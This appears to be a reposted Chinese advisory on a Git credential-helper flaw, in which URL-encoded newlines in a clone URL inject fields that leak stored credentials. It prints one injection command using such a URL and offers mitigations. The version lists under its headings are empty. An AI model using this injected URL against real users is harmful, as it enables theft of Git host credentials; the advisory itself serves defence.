本文共 1477 字,大约阅读时间需要 4 分钟。
####.wallet.vc
Git的一项功能设计在特定情况下存在安全漏洞。这项漏洞影响Git客户端在处理特定格式的URL时,将用户凭证信息泄露给攻击者。
Git的凭证助手功能旨在简化用户存储和管理远程仓库凭据的过程。然而,当远程仓库URL包含经过URL编码的换行符时,Git会将非预期的凭据信息注入到其协议流中。这使得恶意URL能够诱骗Git客户端向攻击者发送核心凭据数据。
此漏洞主要影响那些执行git clone
指令时,遵循包含编码换行符的恶意URL的Git客户端。攻击者可利用该漏洞窃取用户的主机凭据,进而进行后续的恶意操作。
本漏洞存在于以下Git版本中:
受影响版本:
修复版本及更新:
在执行类似以下命令时,Git可能会受到此漏洞的影响:
git clone 'http://localhost:8088/%0ahost=github.com%0aprotocol=https'
此命令包含通过URL编码进行的手动注入的信息。Git在解析过程中会误解这些信息,从而向攻击者泄露用户的凭据信息。
Git社区已发布修复更新,建议使用受影响版本之外的最新版本来确保系统安全。修复版本包括:
尽管官方已经提供更新,建议采取以下额外措施来防范此类风险:
禁用凭证助手功能
git config --unset credential.helpergit config --global --unset credential.helpergit config --system --unset credential.helper
临时禁用凭证助手功能可以立即阻止漏洞利用。
防御恶意URL
在克隆仓库前,检查URL的主机名(host)部分是否包含编码换行符或其他不自然的字符串。
避免使用git clone --recurse-submodules
,特别是在处理未经验证的仓库时。建议用户在克隆后手动检查.gitmodules
文件,确保所有子模块的URL安全可靠。
不要对不明来源或不可信的URL执行git clone
,尤其是公开仓库。
审查及过滤输入源
本文仅供安全研究与教育目的使用。请在执行相关操作前,确保您了解潜在风险,并遵守相关安全规范。
转载地址:http://sxyyk.baihongyu.com/